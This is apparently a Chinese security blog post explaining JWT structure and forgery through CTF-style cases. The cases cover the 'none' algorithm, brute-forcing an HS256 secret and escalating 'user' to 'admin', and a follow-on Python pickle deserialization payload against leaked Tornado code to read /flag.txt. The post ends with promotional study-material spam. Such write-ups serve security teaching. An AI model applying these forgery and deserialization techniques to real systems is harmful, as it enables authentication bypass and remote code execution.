【网络安全】浅谈JWT伪造攻击

前言

今天给大家讲解一个常见的漏洞攻击方式,即JWT伪造漏洞,该漏洞是由恶意用户修改已有的JWT格式内容来进行绕过身份检测和访问控制造成的,本文会对JWT格式以及该漏洞的基本利用流程进行分析,接下来先学习一下基本内容。

JWT

JSON Web Token (JWT) 是一种标准化格式,用于在系统之间发送加密签名的 JSON 数据。它们理论上可以包含任何类型的数据,但最常用于发送有关用户信息的声明,作为身份验证、会话处理和机制的一部分。主要用途就是进行信息验证,通常存放在cookie或者请求体里面。下面是其基本格式:

{
  "sub": "1234567890",
  "name": "xino"
}
标准中注册的声明 (建议但不强制使用) 
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

简单分析一下其结构,JWT由三个部分组成,分别是头部(header)载荷(payload)签证(signature) ,其中头部声明了类型以及加密方法,载荷存放数据,签证存放签证信息。

图片.png

JWT伪造的目的就是修改里面的数据来绕过JWT的检测。

案例

案例一

下面是一个简单案例,首先进入网页然后抓包:

图片.png

我们对其cookie里的值进行解密:

{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1632622589,"exp":1632629789,"nbf":1632622589,"sub":"user","jti":"d3eb4ee8218c2cfe5e0d123923e4743a"}]

使用解密网站:

https://jwt.io/

将sub后面的user改成admin后进行编码,然后替换整个cookie值,实现发包,之后成功进行了绕过。

案例二

某些签名算法,例如HS256(HMAC + SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。我们有时需要破解密钥来构造攻击代码,下面看一个案例:

抓包后找到JWT的值,然后我们使用工具进行密码爆破,这里推荐一个工具:

https://github.com/brendan-rius/c-jwt-cracker

图片.png

得到密码为aaab,于是我们便可以修改JWT里面user为admin:

图片.png

实战

这里给大家带来一个题目方便大家更加深入了解该漏洞,进入网站后是以下界面:

图片.png

需要我们购买按钮后提示我们账户余额不足,可能存在逻辑漏洞,于是我们继续分析一下。尝试修改发包里面的内容:

图片.png

可以看到存在一个admin验证的操作,仔细想一下,因为要验证所以我们的请求包里一定有验证信息,包中的JWT表示的正是身份,因为需要密码,所以使用上面提到的软件进行爆破:最后得到密码为:

1Kun

我们就可以修改我们想要的内容了,具体参考下图:

图片.png

我们抓包后修改JWT内容进行发包:

图片.png

成功绕过检测:

图片.png

下面的操作就不涉及jwt伪造了但涉及了之前讲过的pickle反序列化操作,在这个页面存在源码泄露:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

我们可以修改become参数,这里存在pickle反序列化操作,具体可以参考我之前的文章:

juejin.cn/post/715376…

需要我们构造一个对象,里面的reduce方法是python的扩展类型,当对象被反序列化时就会调用__reduce__函数,进行执行命令执行函数,然后打开存放/flag.txt的文本。

import pickle
import urllib


clxinoss payload(object):
    def __reduce__(self):
       return (evxinol, ("open('/flag.txt','r').read()",))    


xino = pickle.dumps(payload())  
xino = urllib.quote(xino)  
print xino

构造生成后直接传入参数即可实现命令执行。

图片.png

结语

今天给大家带来的是JWT伪造攻击,简单来说就是需要对JWT的格式进行构造从而实行绕过的操作,也是网站中经常会出现的漏洞,会照成严重的后果,我们要学习该漏洞的原理来推进防护措施,喜欢本文的小伙伴希望可以一键三连支持一下。

关于网络安全技术储备

网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣(黑客),都是未来职业选择中上上之选,为了保护自己的网络安全,学习网络安全知识是必不可少的。

如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
SRC资料

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
面试题

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值